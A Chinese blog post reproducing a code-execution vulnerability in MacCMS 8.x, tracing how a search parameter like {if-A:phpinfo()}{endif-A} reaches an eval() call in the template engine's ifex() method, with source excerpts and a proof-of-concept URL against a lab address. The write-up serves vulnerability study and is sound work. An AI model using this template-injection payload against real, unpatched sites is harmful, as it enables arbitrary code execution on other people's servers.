代码审计之苹果cms8.x代码执行(复现)

审计对象:苹果cms8.x(现以修复)
苹果cms官网:http://www.maccms.com/
参考文章:http://www.cnblogs.com/test404/p/7397755.html

payload:http://192.168.2.119/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}

漏洞发生在/inc/common/template.php文件类方法ifex()中的eval语句,这个方法中有多个eval执行语句,我们选取限制条件最宽松的一个进行利用,即最后一处(912行处):

1
2
3
4
5
6
# /inc/common/template.php
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);}
else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}

这里的$strif变量就是我们可以控制的,命令执行也发生在此处,下面,我们根据payload来正向查看程序执行流程。

先看index.php页面。文章开头包含了inc/conn.php文件,而inc/conn.php文件又包含了/inc/common/template.php文件,这个文件会新建一个模板对象,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
# /inc/common/template.php
<?php
class AppTpl
{
var $markname,$markpar,$markdes,$markval,$markhtml;
function AppTpl()
{
$this->P = array("vodtypeid"=>-1,"vodtypepid"=>-1,"vodtopicid"=>-1,"arttypeid"=>-1,"arttypepid"=>-1,"arttopicid"=>-1,"auto"=>false,"pg"=>1);
}
......
$tpl = new AppTpl();
?>

继续看index.php,$m = be('get','m');be函数在/inc/common/function.php中定义,主要作用是对用户的请求数据进行消毒,防止sql注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# index.php
......
require("inc/conn.php");
require(MAC_ROOT.'/inc/common/360_safe3.php');
$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];
......
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}

根据代码以及payload:index.php?m=vod-search可知,等下会包含'/inc/module/vod.php'文件,并且$method=search,我们来详细看一下'/inc/module/vod.php'文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# /inc/module/vod.php
......
elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}
......
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();

$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );

$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
......

也就是说$tpl->P["wd"]等于'{if-A:phpinfo()}{endif-A}';,而且$tpl->H等于/template/paody/html/vod_search.html中的内容,$tpl->H的内容还做了替换,所有形式如:{xxx:xxx}会被替换成{if-A:phpinfo()}{endif-A},这里是关键 。继续看index.php页面:

1
2
3
4
5
6
7
8
# index.php
......
include MAC_ROOT.'/inc/module/'.$ac.'.php';
......
$tpl->ifex();
if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
$tpl->run();
echo $tpl->H;

这里调用到了ifex()方法,也就是漏洞发生的关键之处。来看看/inc/common/template.php文件中的ifex()方法。开头的$this->H/inc/module/vod.php文件中已经定义。$labelRule等于/{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}/is,然后在$this->H中用这个pattern匹配,结果是一个二维数组,存储在$iar中。而payload中的phpinfo()将存储在$iar[2]中,preg_match_all()具体用法使用方法点这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# /inc/common/template.php
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);

for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;
$strThen= $iar[3][$m];
$elseifFlag=false;

$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";

if (strpos(",".$strThen,$labelRule2)>0){
......
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
......
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
.....
}

11

相关文章:
文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/03/06/代码审计之苹果cms8.x代码执行(复现)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog